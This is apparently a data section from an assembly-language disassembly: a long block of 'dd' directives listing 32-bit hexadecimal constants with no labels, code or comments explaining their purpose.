		dd 4B0A3428h, 14EE80CDh, 0D6B001F2h, 93FB5C1Fh,	0FEEC5733h
		dd 393803CEh, 44847CEh,	4D8C0020h, 22257F71h, 855E00C6h
		dd 50FE454Eh, 4F006794h, 41923CFAh, 7D2157Ah, 8D31BE02h
		dd 295F9048h, 23E64CC6h, 0C8076F79h, 0C98AB9E8h, 221E046h
		dd 7226B4CCh, 0AAC06343h, 70E2352h, 0D0AC30h, 62500A73h
		dd 40390399h, 3489922Eh, 0D0AB6800h, 538EB2ACh,	6629005Eh
		dd 71261940h, 28606939h, 0D49BF10h, 833C03DEh, 0A9E553A8h
		dd 24F20818h, 11E3420h,	7719840Dh, 81373AE0h, 2A413B71h
		dd 0D1911443h, 0CA758030h, 42E06F22h, 0FC8DC0C9h, 7C82526h
		dd 0E1CB4E9Eh, 64FD6086h, 620258C2h, 2618538Ch,	0BC549076h
		dd 374F110Ah, 81C888ABh, 590AB59Fh, 7FF9F852h, 0D0270800h
		dd 39967685h, 68451D43h, 75F34F92h, 642024AFh, 3817D0F4h
		dd 5D46CE00h, 0AC28159Dh, 0D3E63DB0h, 9BC43403h, 61C0760Dh
		dd 33004F71h, 25018E53h, 759C9DBCh, 0BD2D14B1h,	9803AE54h
		dd 3AA6469Fh, 9C50DA80h, 892B831h, 20812E81h, 6BA7B026h
		dd 0B6F8F4A8h, 8F1ADA00h, 9A2A0FE9h, 1BA6009Ch,	9B9DE403h
		dd 0FF008C99h, 4C95382Fh, 0C197685Ch, 0A2378610h, 8398EF80h
		dd 596EEA9Ah, 2098CC08h, 972800DBh, 0E721CE9Fh,	0BC06A174h
		dd 0AAB2302h, 1C700358h, 9C909E95h, 0E0983061h,	40806A99h
		dd 821728E4h, 0F600A825h, 3C38E60Fh, 2AF31Dh, 2B26AF57h
		dd 1A5EFC24h, 972C2E00h, 29D12012h, 6DE81F0Bh, 0FFC50160h
		dd 839DEF48h, 14127861h, 0A0688072h, 207E1D11h,	215118A1h
		dd 17034C43h, 5ED2C81Dh, 13C9008Bh, 53ED0859h, 600F13Fh
		dd 96EFB3B9h, 1E01B0D4h, 1804DAA0h, 31FFC005h, 4C57C300h
		dd 0B4D5DF9h, 32B10023h, 8CAB499Dh, 0AE01DFFAh,	36824174h
		dd 0ADD0DE95h, 9B9C0178h, 2531D694h, 0ECA8F5BBh, 7107BF96h
		dd 7AEE93A4h, 34D28BD0h, 8E23004Ch, 895ADE59h, 0EF7006B3h
		dd 507A271Ch, 0BE5EDC41h, 9DCAD061h, 0C1E2DF04h, 0B864C7h
		dd 5A4446FFh, 0BDFBA2D2h, 8A947300h, 7C6EF23Ch,	0A53E30B6h
		dd 0B3236C18h, 30F39B20h, 9830C16Ah, 48C3EEF8h,	0D5E2A29h
		dd 46780960h, 0AA3C0021h, 9B00D57Ch, 48A8960Ah,	1D7231Dh
		dd 0E4708BA6h, 0F09983FBh, 810F50E3h, 87D540D2h, 65810734h
		dd 0AFE054C6h, 0DFE918C9h, 1D185011h, 0D0F8C41Fh, 402CC50Eh
		dd 44A290FCh, 7C70287Fh, 6CE90040h, 0F3983F29h,	3A001EFEh
		dd 37E0C5ECh, 32AFF7Ch,	0FA291F77h, 0C9085D18h,	0FDC5A9h
		dd 97D75E28h, 0DF0FF532h, 600AB7EAh, 0D54326B0h, 0DE1B193Eh
		dd 0E0DB6947h, 0EF187807h, 7EF9A622h, 0A73F1DFDh, 0C54030BAh
		dd 0D3F8D2B1h, 74B03900h, 554CE6D7h, 0A57800D6h, 181A0227h
		dd 0FB00F5F0h, 0AD28F744h, 19F28Fh, 0B8781BFDh,	8779C241h
		dd 0ACEE4D2Ah, 0FE74C301h, 0C5ED82B6h, 0AA54C080h, 1A23063Fh
		dd 25B0650Ah, 0B880FCBFh, 7C2849E2h, 74D50666h,	80419F8Fh
		dd 0CF90E000h, 731BF86Eh, 0C998A8DAh, 65940A3Eh, 0E22461C8h
		dd 93117AC4h, 7F10C982h, 90801FA1h, 0DE46B3Dh, 0FDA07200h
		dd 67C8212Eh, 3E5E00BFh, 1EEC338Fh, 1400BA41h, 7559B92Bh
		dd 908C960Eh, 0B8E10004h, 0D55769BBh, 54F2FDC4h, 0E5071EE8h
		dd 0FAC36CD0h, 0A08A0F20h, 76EF844h, 0A912BB77h, 2949E1FBh
		dd 0DC585C39h, 92D72284h, 84DE7624h, 8367AB80h,	126CEE81h
		dd 4498C019h, 1871E74h,	66242F41h, 12006822h, 0B093A7DEh
		dd 370CD652h, 0B00F8D55h, 0F7270023h, 2DE2101Dh, 303EF322h
		dd 0E720156h, 0D79BC882h, 0AD45820h, 0E1DFE5B5h, 5C4201DCh
		dd 24186BC1h, 5112D7B8h, 4C1E97B6h, 74206252h, 4929457Fh
		dd 0F4479043h, 41B3F484h, 0B698861Eh, 0BE1A2183h, 6900C8CBh
		dd 622AC42Dh, 34A60665h, 4EE0E078h, 45C0CCFCh, 7279A977h
		dd 4885050Ah, 30C234C8h, 8BE318B5h, 4E44F504h, 0A4925624h
		dd 1CC409Dh, 4539021Ah,	4FBA6E73h, 0F332C080h, 0AD01F1C0h
		dd 0AF1A18D1h, 0E4F89B52h, 8E1026Dh, 53AB9D0Eh,	0F9548080h
		dd 7100C807h, 703633A7h, 3B730D6h, 0E11E10D7h, 28280106h
		dd 1B00881Ah, 4E459C79h, 283898D1h, 905C9F95h, 0EC065450h
		dd 0E3E8A8E1h, 0D7CD02C3h, 931D10EEh, 0D1F8EC44h, 0C3F260F8h
		dd 0AB00F47Eh, 28E153C0h, 0F717B61h, 4A096A9Ah,	0B9B52C66h
		dd 0C738A07Ah, 1884D73h, 6049553Eh, 0E1139F72h,	7DF054D0h
		dd 1402A49h, 0FDA10750h, 0E42581B4h, 10594890h,	0C7E603Ch
		dd 32183EE2h, 9D207528h, 12AC0962h, 0B400DEB3h,	33726350h
		dd 6EA634A0h, 60553F19h, 0CC6DF18h, 5D303EE9h, 427A6848h
		dd 0D04538B2h, 0E0153D80h, 0F702580Dh, 27365001h, 416E96AAh
		dd 9C4AD2h, 0D3485920h,	561F446h, 0B37F0324h, 0EAAB0374h
		dd 0B000B571h, 0F6AB05A6h, 26108A87h, 0BFA0D45Fh, 851F6E14h
		dd 0EB80D338h, 0EED9275Eh, 7214C944h, 0CA8EAEDh, 30206461h
		dd 0C02300C7h, 0D72CA8F0h, 6B003B82h, 0B3F6BE48h, 6CE0CEh
		dd 0D6024EDCh, 0B2308B8Ch, 19259300h, 0BD4F2F58h, 0B47701C6h
		dd 0AB8AE7D9h, 551080CAh, 333F2DCCh, 0B39800A5h, 0B0CD4D23h
		dd 7600DD21h, 50CC515Ah, 95EC13h, 0A381797Ah, 0B2A82C52h
		dd 60F63Eh, 0AF92CB17h,	6FBECF75h, 0C45E6995h, 8029B539h
		dd 2EB4C275h, 0B0FCA007h, 858046CAh, 193942Ch, 0C99EFE3Fh
		dd 0B0CF98A8h, 0ABB24090h, 0CA020C24h, 9B19085Ah, 5064E100h
		dd 0D5121C45h, 0F7C90083h, 562D3D98h, 5E301853h, 0D4774179h
		dd 72D20017h, 2A84AC68h, 0BC00D6D5h, 0F7F81E7h,	3E4EA485h
		dd 961F2D8Fh, 21A50319h, 0F0079398h, 0C5E0C8DEh, 8C4FB6E5h
		dd 0BCCF412Ch, 10BD36E3h, 0A0219580h, 65C63CB3h, 0B829AB68h
		dd 0A21D2C03h, 0AF3010DFh, 772D0035h, 0E051F184h, 2F730123h
		dd 7F54E52h, 7480E8BBh,	873B3EFAh, 610B80D3h, 8AABF460h
		dd 10C7004Bh, 9DBD448Dh, 3A3B32BAh, 0E82D079Bh,	0F7671B7Fh
		dd 548D3140h, 767A00ECh, 0AB1AB21Ch, 0FC0022A5h, 0B7073B57h
		dd 15CBDE7Ch, 905A5C03h, 4FFF5501h, 0F02566C1h,	7D00D471h
		dd 48CFE9B4h, 1D4EDDAEh, 0B6F72Ah, 58B38BBDh, 3571DE24h
		dd 2D4A052h, 50B7E064h,	183C4116h, 20F23421h, 7CF37EA8h
		dd 949A11C0h, 0F8121D9Bh, 59CD0A47h, 324BFB7h, 0ED48E1F8h
		dd 3D5244C8h, 50C4EC03h
		dd 61AA91h, 48FC8620h, 3EBC612h, 1560BE60h, 0C4F3EC3Eh
		dd 217CEE28h, 5181CD4Ch, 0D1660CA0h, 0A469801Dh, 0B8FB3C0Dh
		dd 3D0E89Bh, 0D167ED1Bh, 2064CE86h, 560ACB78h, 3438404Ch
		dd 8251D16Ch, 0D5C9E014h, 409F1B33h, 0E1616A0Dh, 0F906074Ch
		dd 1FAA9048h, 9900D6D0h, 0DF3E2CB0h, 1ED5809Dh,	42DC850Ch
		dd 4803363Ah, 0B3F88890h, 3E2238h, 0EC49CB71h, 0F3215DF9h
		dd 936F820h, 9C05BE4Eh,	0F8D2A800h, 330ECFABh, 6AE9192Dh
		dd 0A601E42Bh, 326358B2h, 52D03421h, 9D1924A0h,	0C98640ACh
		dd 4E0FBF93h, 0ACF61D2Dh, 16A3829h, 5394DF89h, 806B3E47h
		dd 6F6E1D30h, 74CA01CBh, 1AD524E5h, 4398274h, 7E0678Eh
		dd 2499C942h, 4B047311h, 80AF04ECh, 0EE374124h,	0F2977D02h
		dd 8B4AD727h, 0C3110078h, 125637F0h, 490812FAh,	5084E1E0h
		dd 9EAC40C7h, 78160F9Fh, 364CA18Ch, 4AECB983h, 500141A9h
		dd 0B31CE8C2h, 10F0675Eh, 56440652h, 99FF0D18h,	92847654h
		dd 7A3B24FCh, 0D52F0763h, 0A2C7AA47h, 0C0905084h, 0C0C5389Ah
		dd 3CA74E70h, 0F090A0CFh, 1E66FD18h, 0FEDAD549h, 3B9A0EACh
		dd 6C54E2D7h, 15DC7817h, 46004C61h, 0D9A51E44h,	0BE7A95E0h
		dd 7FBCF952h, 5F5EB006h, 398977Ah, 88E656BBh, 7CA56891h
		dd 7300C318h, 0CB2BDFCFh, 82FCCEh, 0ED0A9A69h, 530255F8h
		dd 541FC892h, 0A8B5AB7Ch, 0BE591800h, 0E53AA46h, 2CDE92A4h
		dd 541E37E0h, 6E0CCBACh, 0E91FDF0Dh, 590C0E3Dh,	6C451A75h
		dd 2F4040B2h, 3ADA7132h, 9884D726h, 8A9D4606h, 0D1C63DF9h
		dd 4B06120Ah, 0DA6E8C8Ch, 1AE4DCC9h, 0A4F8384Bh, 5052497Fh
		dd 0ABB06B07h, 0AD4F0068h, 3449582Ch, 9A2874BCh, 7D1CF64Bh
		dd 0F0DF7AD6h, 1FA4FE00h, 16B0FA57h, 4289C4B1h,	1047506Ch
		dd 0C9001844h, 67A10244h, 0C0C224CFh, 635BB018h, 7CF84FECh
		dd 0D540810Eh, 40732F9h, 4687B476h, 19B1024Eh, 0EA0C4B0h
		dd 77AED1Ch, 34F54B7Eh,	0F81A2800h, 0AB00BC25h,	5ECD12D1h
		dd 0A12FD46Bh, 84C10D0h, 0CC434Eh, 0AB40E382h, 0FDCBDF65h
		dd 0F2F074F1h, 4CDE00CAh, 6C56431Dh, 0B805E0CDh, 1F9264BFh
		dd 942E2847h, 0BF006CC5h, 82DDF408h, 3E73EA37h,	7280DB8Dh
		dd 2ADA0987h, 0E403219Ah, 1FB7A227h, 0D35AF0F1h, 0FBE0173h
		dd 14FCD0Dh, 19BA7Bh, 0E78F81Fh, 102F563h, 6FBB3674h, 80B927F0h
		dd 0ED228C30h, 1F15ACh,	81C51C14h, 0DD70F569h, 31746701h
		dd 57E10ABEh, 5AADD017h, 0B800219Fh, 61690A4h, 172E0827h
		dd 0EF0DC6B9h, 5FD2700h, 1C1A4823h, 0C9EF1h, 795AA643h
		dd 800F362h, 6E8B2E0Dh,	3A5B01Bh, 6D4A2830h, 2DC8CF59h
		dd 27016CDEh, 7174A0FDh, 70CC0FAAh, 0A50900D5h,	15AB3F1h
		dd 90C076AFh, 0FBAE1C2Eh, 0DE220332h, 0BF270B8h, 3100387Bh
		dd 8D6DD69Eh, 5F576E7h,	0ABEBF4B9h, 0B808278Eh,	14982BC0h
		dd 0B3950074h, 0C1D9FB6h, 677919A4h, 0BB035605h, 443C08A2h
		dd 61A700F6h, 84BE5F57h, 9E00EB1Bh, 0C55CCD8Fh,	74D0A4Bh
		dd 0D7CF5EA6h, 92657033h, 0FC19F009h, 4B388227h, 0D4008908h
		dd 4C9CCA19h, 0FB37AA50h, 2BA7B20h, 0ABDC18C8h,	0CC80EBB4h
		dd 0C592C9Bh, 668CCB00h, 0E8E2C50Fh, 86A7004Bh,	5097379Ch
		dd 0C0EB7951h, 9D005358h, 6B4BAAB3h, 20DC9Bh, 0A3DF844Ch
		dd 311F5774h, 0AE8AC505h, 0AF39A2h, 0AC84478Fh,	0CF7E901Ah
		dd 0EE321D1Eh, 2345F980h, 292D20FAh, 140859ADh,	0ED80104Bh
		dd 2C1BC235h, 0B1515500h, 39CC183Ch, 80C00003h,	0AB2198BEh
		dd 540C100Fh, 0F1FB345Dh, 392B014Ch, 588DF5A0h,	9FE9F887h
		dd 36FCE505h, 8C5E3496h, 0A189CC8Fh, 47552E15h,	8410B221h
		dd 0CDA193C4h, 9FFE1848h, 5EE65930h, 45EE6600h,	53C263h
		dd 9B950A8Ch, 79F6C50Dh, 34E621ECh, 80A42D3Bh, 2659CF24h
		dd 0C552235h, 0B82C285Dh, 1B007C68h, 88110F65h,	3999629h
		dd 4943EC5Bh, 7170AB18h, 822EBE01h, 304795E6h, 0C1C30CC8h
		dd 0F010CDA1h, 1C9440A1h, 0B1CEB21h, 0C50343C2h, 204DFC70h
		dd 0BE00E918h, 0BB7AAA18h, 95AC37h, 2AD76C5Fh, 0D9C9FFDFh
		dd 8AEFCE00h, 0EDC20F22h, 0B5F85Dh, 9F344CC3h, 0E17A5747h
		dd 2756E80Ah, 0FB00941Eh, 46927C37h, 918867B4h,	20EB2041h
		dd 0E60017CDh, 0D099D327h, 7AEEADBh, 55593DD6h,	11F281CBh
		dd 0A9C05C97h, 4F82240h, 0AF68C743h, 0E402809Eh, 0E1168782h
		dd 7F0F91B3h, 504260A3h, 0A1136BFh, 0C6A1DD54h,	2920518h
		dd 0D93028D8h, 144A5988h, 0BC5AF34Bh, 0C26EE800h, 0AF912013h
		dd 465B6406h, 0E2F4CC02h, 0D89360D9h, 43FD0511h, 5C3D8C04h
		dd 0A080AE67h, 6C84C3A1h, 37182C81h, 7019A242h,	48C890ACh
		dd 7406D9E4h, 35053440h, 1A9C0010h, 98634A66h, 7C009D2Ah
		dd 5AC98147h, 7CC346D5h, 0D0CF0462h, 802D1A0Ah,	38F3651Ch
		dd 74874400h, 0D7A9DF5Fh, 351200B3h, 36AA553Ch,	0A12A7D57h
		dd 0A618D89Eh, 1B1178FBh, 0CCF00CDAh, 8591628Ah, 72E5FC09h
		dd 380801E8h, 0C6FE14h,	6AA34643h, 0A4C02524h, 0A0AB2340h
		dd 1F897501h, 0CBB28EBh, 3778359Fh, 20267A00h, 2FEFF6DCh
		dd 844A0008h, 9698B9B4h, 0C03BC1Fh, 0D9144080h,	892F88CDh
		dd 100961ECh, 8291DCF9h, 4301C998h, 73004050h, 0C01B0093h
		dd 0B9DD1879h, 672C0222h, 0B024B699h, 0E500EC22h, 875BE9CEh
		dd 0ADB7A1h, 1981494Eh,	550F42CBh, 7CCEE00h, 937EF688h
		dd 41BB37ACh, 74FDC0D1h, 9C1C1CBEh, 7854E69h, 2C013971h
		dd 0BE30A7FBh, 1B1EF840h, 49330136h, 0C2296B44h, 0F900E39Ch
		dd 0A05EEC6h, 26E017h, 0BFA56082h, 157C8E8Fh, 47453900h
		dd 582F4EFCh, 2DB90BD6h, 0B7071CC1h, 419D5085h,	16009897h
		dd 3284A1BDh, 149B4A07h, 0BC21C527h, 423F0193h,	213449D5h
		dd 14B4E478h, 0BFBC8800h, 0DC50E130h, 3DD037Fh,	0D26AC3F9h
		dd 1A86ADB0h, 0BD730700h, 7EB2EE37h, 5208C02Ch,	35ADD203h
		dd 0F52080FDh, 0DEA96CD5h, 0E27700B0h, 0DD267D5Ch, 0D20D14F4h
		dd 50EE5B1Bh, 778032E8h, 0F6A9031Ah, 86836A9Fh,	21E70835h
		dd 0CD1BCF80h, 3E18037Eh, 33AC607Fh, 0F25DCAB0h, 0F4DF4B06h
		dd 3868A070h, 0D203E059h, 0B8D74E2h, 51D7000h, 77B131C3h
		dd 39491BBCh, 0D1311833h, 468F9026h, 1229300Dh,	5256A906h
		dd 4491829Fh, 0E40068CDh, 0B0E0131Ah, 1E0BC58Eh, 80E107B6h
		dd 807C8D61h, 7A06C1DBh, 643F04D6h, 9F433878h, 813BEC7Ah
		dd 0CA4520CDh, 0CEB9EC00h, 35824A09h, 26F9300Eh, 93703C20h
		dd 2CEAE700h, 4D5303F3h, 0AF620676h, 0C0C241C4h, 29186B78h
		dd 2861BE40h, 0D31428A5h, 5C300984h, 0CF00D9E9h, 0B5A7017Fh
		dd 4B3967F8h, 99C285A6h, 80BBDCB1h, 29DE9765h, 50C38400h
		dd 0C96F3290h, 3B303E2Ah, 3A5CB51Fh, 3FE5E300h,	0AFDA33B4h
		dd 980B8A02h, 0C087B3B1h, 634AD0Bh, 0BBDE92CDh,	76033151h
		dd 4DEFACE8h, 4F70DF52h, 32BF5Dh, 84A4698Eh, 9AB6CDB1h
		dd 0DEC23A07h, 29383E8h, 9809BBBAh, 6755A3EBh, 90E4107Eh
		dd 41592D3h, 0AFDD7800h, 0D241E06Bh, 4320C0D5h,	63181C9Eh
		dd 48B07D00h, 8B9801F5h, 62ED003Ch, 6159B3E0h, 5C396BD8h
		dd 27E0E79h, 55C32339h,	8FDDE085h, 891B071Dh, 8043280Fh
		dd 0C371B7CCh, 94B4D903h, 0B8E50997h, 0BC3F6Eh,	78BD896h
		dd 717FBD84h, 0F4D4DE07h, 97809B5Ch, 0E13446h, 1F32C612h
		dd 0A90A195Eh
		dd 1DCFD0BFh, 16AAED4h,	0A16E96BDh, 362888E0h, 0E3288802h
		dd 328EB290h, 5AA11F1h,	112F8611h, 44016976h, 0C61304BCh
		dd 8753108Eh, 0FB5900E7h, 787B7E4Ah, 0F1F12AAh,	86C0C5A0h
		dd 20C2EF50h, 0EDE00161h, 134FFFC7h, 1728F4FEh,	96A49107h
		dd 5E007009h, 0E4B715Bh, 267F2C2Eh, 851A6AC0h, 0B008769h
		dd 9F0C22AEh, 71A3ADCEh, 8C2A03D5h, 0A0F46AFCh,	63DBEE98h
		dd 0A50258h, 532B51A6h,	0F2B073h, 0BB37723Ch, 709534C0h
		dd 0B548DF1Eh, 0B27C9180h, 2BE64FEh, 719FFCDEh,	2960216Bh
		dd 540AFB04h, 0C0A206D1h, 0D068ED00h, 3AF967Ah,	0DC4D3F26h
		dd 879813DAh, 0A40949B9h, 80145138h, 81600B90h,	7F853C3Fh
		dd 8CE33980h, 0E06AA2C8h, 50A59E31h, 10D0D9BCh,	3FC60058h
		dd 99CC221Fh, 9C00024Dh, 0B2B546A1h, 12D4452Bh,	28A92Dh
		dd 6D55BAF5h, 0BFF206B3h, 184DFE07h, 89CECE4Ah,	6EA40467h
		dd 6A80680h, 49870343h,	2A788093h, 0C3DB1800h, 0DDA21C39h
		dd 0AFF91F9Ch, 642C41C7h, 0E8BFBB2Fh, 8B0387C1h, 0E14877D3h
		dd 16DAF0BAh, 475F0005h, 0B1022608h, 91036637h,	0EC7D51Dh
		dd 88F8F3E7h, 10F04Ah, 82B58684h, 9DB6ADC8h, 7CC31E1Dh
		dd 0D286D818h, 378C0304h, 7D17A557h, 105546F0h,	1F4D233Fh
		dd 4F40492Bh, 0BB684B5Ch, 0F5420089h, 604E20Bh,	0F3031F10h
		dd 9B74DED1h, 0FE26F8F8h, 0E97A4Ch, 4B7FBA6Dh, 0F48312FBh
		dd 7BE32D00h, 0B777523Eh, 3FC207CFh, 50369280h,	0E56D541Eh
		dd 39F35100h, 4A1715B0h, 4E5A0050h, 0F9C58A6Eh,	6EED46Ah
		dd 9B268B00h, 0E0369DB1h, 72120007h, 5A66A744h,	0D2057D76h
		dd 97A3E203h, 0B094F700h, 7CA2ABh, 0CFB39179h, 0C60A25CCh
		dd 7FDE0500h, 4308F793h, 9FF1006Dh, 0D0B47924h,	9E093260h
		dd 2173C456h, 16C7BE0Ch, 2C7820h, 0A31B2FB8h, 9C019066h
		dd 0DCAE4700h, 8D033229h, 509301E6h, 0F934E19Dh, 0BE10C8F5h
		dd 1B99AF00h, 4B36D0BFh, 965F0784h, 0A0147E0Fh,	6AF25A9Bh
		dd 0BA85A800h, 0B288D71h, 0D8F09F67h, 78CE5400h, 339814B9h
		dd 220D0EDEh, 0F2BE18h,	82773B42h, 0E177F7C6h, 57EDB000h
		dd 0D78661F1h, 1C9B00CDh, 0A615637Eh, 7C00F316h, 0ABA81371h
		dd 7F1019h, 22D3BF06h, 1F12A3D4h, 845D0900h, 8F6866EEh
		dd 0FEB100E1h, 321C3340h, 9B0029BDh, 0C2C8F895h, 0E2126165h
		dd 2DC31338h, 0CD0C014Ah, 0E0807083h, 0CA005293h, 0FA7E9D49h
		dd 4DB6FFh, 5EE7FDC6h, 0B83241AEh, 1914A400h, 2B3CBE0Bh
		dd 5DA800D0h, 973882E7h, 8C00A617h, 19CB78C7h, 77A1F2h
		dd 0AFD8EB94h, 8D70CCB9h, 550EF600h, 0F85C82AEh, 185E0EF3h
		dd 6623F48Ch, 583CC33h,	0DEBDFAC0h, 4E962200h, 77EDFC70h
		dd 8E264h, 0FB8C8480h, 900CE6A2h, 913760Fh, 3A7BE0B0h
		dd 229E17h, 78115AEBh, 0B1F8CC1Dh, 4126DA00h, 0F6B0D567h
		dd 47E400A5h, 0E70D0487h, 1500BCB9h, 86BB5831h,	48274F8Eh
		dd 0C600B844h, 0CB7C0BB2h, 0F57F696Fh, 1D3A31E2h, 0B7FA8071h
		dd 0F6F0A4FDh, 0D3D1007Ch, 0BD82F1CEh, 0F8004CBCh, 34451CDFh
		dd 368D83Ch, 2124D1E8h,	0B6B8F7D5h, 0FB003389h,	889DAEFFh
		dd 3C5644FAh, 3EBC2DBEh, 0D9C4D20Fh, 9179B567h,	0C8BF49F8h
		dd 0CE3B9078h, 0F06A8004h, 9C57DE84h, 0CDC07CDh, 0C04A555Ah
		dd 0B1736906h, 15F87805h, 0A880FC3Fh, 0EFB63CBh, 90B2C4B9h
		dd 41B06107h, 6148C019h, 1EE5CC84h, 5ECD100h, 2A852D5Bh
		dd 0C03900C5h, 709EC6ACh, 440013D6h, 0A5A90745h, 937C3FCh
		dd 2E5AFBD2h, 2192D000h, 8C001626h, 2532F0AEh, 33068269h
		dd 3D502496h, 0FB0A72D0h, 0E4497D00h, 0ECC7B41Ch, 1FB27826h
		dd 8065CD8Dh, 4B27C26Ah, 125B9802h, 0E0000AE8h,	8CE990F3h
		dd 349840AFh, 0AE1DF600h, 18D4A385h, 0F1E0004Ch, 0A7A467BDh
		dd 891D533Eh, 48819C1Ah, 64343599h, 0F36830h, 93DA9B4Eh
		dd 461EAFDBh, 0A9630D00h, 9819CD17h, 97530EB9h,	0D9431CD6h
		dd 4AD03ED5h, 0B20038ADh, 6B95829Dh, 2EBABA5h, 2946C2B3h
		dd 4500242Eh, 62A30Ch, 0CBAB5DBDh, 0F68CA414h, 0FD9A709h
		dd 377C2490h, 0DE2957C0h, 12360017h, 283E2D68h,	0F2127CB0h
		dd 98007053h, 0D1830ECFh, 9E3A003Ch, 5A30A62Eh,	151DC905h
		dd 48075CDCh, 5D7033FBh, 79234291h, 0F298EFh, 1009129Dh
		dd 636F2A2Bh, 1EBD7400h, 5CC8696Dh, 0FBF8FAh, 0E6AA5EB6h
		dd 0EDB5CD95h, 0A53C4707h, 7BF09232h, 652D7Dh, 53AF7945h
		dd 34D41826h, 46B66200h, 1A9699AAh, 25AE0748h, 80826181h
		dd 5E78EC60h, 0C9068B00h, 0F5E40CFCh, 0BA0D0FE9h, 4E008530h
		dd 263F1E10h, 9CCC1518h, 0E2EF92DEh, 7048EE23h,	76FD00F4h
		dd 58CEEC2Ch, 1C001DDEh, 0FEFC208Bh, 0F236BA49h, 75E100CFh
		dd 85C72A83h, 4C005311h, 0A1E8ED82h, 54C023h, 0D7B57086h
		dd 0DA21B942h, 25BE0206h, 0D004E8h, 5F362A5h, 9C549B4Fh
		dd 0B0003075h, 66D6E2C9h, 0F46C5Bh, 23A034BAh, 1A3F1381h
		dd 316FE900h, 647094E3h, 0C85E6F97h, 7AD10200h,	4400C133h
		dd 0EF55C8D0h, 0BAF987h, 0CD1E381Bh, 4EDC911Ch,	2A67320Bh
		dd 615D8015h, 6DC277h, 7E1E47E2h, 0FB7FA9BAh, 86809900h
		dd 0E17B4CBEh, 0FE850004h, 0CCBDC0D3h, 0C50018F2h, 0B7B43020h
		dd 0FEDC4E14h, 0E50700D5h, 523BCB0h, 0DD007DC5h, 115D601Ch
		dd 14FD380h, 0B09B9C62h, 20B43B17h, 7D0068DFh, 3CFE459Ah
		dd 16D6F1h, 0D5EDCEDFh,	64605FD0h, 7D07B67Ah, 884E0BF4h
		dd 0A6577150h, 0EC560079h, 0D4D23093h, 0B10067EBh, 8B889874h
		dd 610E27h, 1A06E2DAh, 90574EA8h, 490BB100h, 7CE95D3Fh
		dd 0FB9D00B4h, 0A1953D5h, 0B800DAC0h, 3A0D8EA1h, 0B8AA4C85h
		dd 87B00156h, 3B1DD3C7h, 47CB20AEh, 8F3E3090h, 2E5D0E71h
		dd 0F366118h, 0E9FCE03Fh, 0EFC009Dh, 13A935DEh,	4E1C611Eh
		dd 9C41B404h, 7580D545h, 0B005B9C4h, 812C00C2h,	3F0C7439h
		dd 44008499h, 8C7EACA6h, 0CE9248h, 0A42BEE4h, 7409862Ah
		dd 2DCAFD00h, 35DA5A43h, 693A0159h, 0B55E0822h,	0BC3C2060h
		dd 9CB7180Ch, 66CAE0h, 0B0DC3D8Fh, 5683298Ch, 522C6A00h
		dd 12F7319Fh, 0C1D23E8Eh, 0DA815580h, 0BF0C9089h, 0B51F8B00h
		dd 0ADA107C4h, 3E32009Bh, 1C6A41DFh, 27F8EBA6h,	0F029500h
		dd 0C95925CEh, 80DBA2D6h, 0E9EB7E94h, 0C3780EB5h, 0CF406386h
		dd 1742C84Eh, 0BAAD2000h, 5CDD2784h, 470F0FE3h,	0FFC0CC01h
		dd 1DEB3CC0h, 0D59B7C00h, 0D4CA63C2h, 7DF324A0h, 0E7360029h
		dd 5E222B2Eh, 0DAD5A41Fh, 0A152F7C0h, 11D7DD9h,	0B940C3Fh
		dd 0C4B856EDh, 29F2C4E0h, 0B342270Fh, 0E422C0ADh, 242B8C96h
		dd 34CE293h, 0F706E10h,	0EF03F198h, 0C7A3BC01h,	0FC87AB53h
		dd 2E40CEFCh, 3F4111F0h, 0DFF50974h, 46000E9Fh,	530C047Fh
		dd 882EA0E4h, 67005A8Eh, 42BBAFFCh, 4EF9001Ch, 214C619Eh
		dd 0D80017D2h, 73A145DFh, 918C60h, 6B9D3D8Eh, 0ABBB3BA8h
		dd 9F78F503h, 0B0F41BFDh, 0E725BFh, 18EC49CEh, 0A2D5CF19h
		dd 41973700h, 12D6C5AFh, 532F0002h, 7E54A136h, 0CE12633Eh
		dd 10035223h, 0D0F91A1Fh, 0EBAA3ACh, 0E4352567h, 95A977E0h
		dd 0B1CDD46h, 900070E5h, 981DD05Fh, 0F28C01C3h,	0ABDF9A69h
		dd 0BF5530BAh, 3EFC0670h, 6EE13500h, 0CBFE0B17h, 959A0EDFh
		dd 5AE0531Bh, 4C360A7Ch, 8FE38709h, 0D3880224h,	0AA3F41C9h
		dd 60C7820h, 13D97C2Dh
		dd 393BA08Eh, 0AB300944h, 9D600755h, 290761C4h,	99CBD0A8h
		dd 2700AA70h, 4B7E9E01h, 3262B8h, 5AA860F2h, 2C657B77h
		dd 40A7D10Fh, 0E40E1282h, 9FEE4038h, 7245D31Fh,	48C5333Bh
		dd 90AC0658h, 0DE95F284h, 3E838h, 24D3A313h, 13440115h
		dd 3C372Ah, 0B6B5A231h,	62E46121h, 2271F104h, 8880E2F9h
		dd 79E31Bh, 84FB5A51h, 1AC3BE23h, 21ED3E00h, 0E5BC2208h
		dd 43273DF0h, 1455C180h, 2A3713E2h, 0F6CC6A01h,	91E84E89h
		dd 0DFD630h, 448B12A6h,	569B8DF9h, 0BC7BB024h, 9ECA013Eh
		dd 2665620Bh, 80F6C4h, 0BC1F4EFDh, 3CA72C28h, 82ABCA00h
		dd 6BAE6579h, 3F278A2h,	0DC73BBA1h, 0DFE806DBh,	192E099Eh
		dd 3E02B2C3h, 906E41E3h, 8C4CB0h, 0F8F3719Eh, 3BD2359Bh
		dd 3EFC5E00h, 4497792Dh, 2FA605E8h, 707A87h, 0F2467C80h
		dd 7904B193h, 0B79ADA42h, 0B224A481h, 7845ACCh,	0B164B08Fh
		dd 0FCD8503Fh, 0BD1D59E6h, 9640F46Dh, 8D18870Ah, 7CD2008Ch
		dd 6C686BABh, 421601DCh, 90006E39h, 455B9761h, 0A49065h
		dd 0D0334F18h, 3078E429h, 66FC9500h, 9482A586h,	0A20905F1h
		dd 8063BDEBh, 505CE92Ch, 2330316h, 0E8ABEA00h, 43C512h
		dd 888A3872h, 0A3564194h, 0C1863E01h, 19E4D2E7h, 89C0C4h
		dd 0BFD51AB2h, 4768D7B7h, 0F80E7198h, 0A00AA5FFh, 141986Fh
		dd 0D1F4073Fh, 505F451Fh, 0ABFC07ADh, 4884D850h, 0CEC7F605h
		dd 70D0B59Dh, 3B489D4h,	0D5DC59F0h, 6FDBD311h, 0E23283B4h
		dd 95CB80C4h, 0D004CF8Bh, 295D2A3Ch, 20AF3F81h,	17B003Fh
		dd 56E00D54h, 0B18EB303h, 0C09D59E3h, 915EB9h, 0F3A56D4Ch
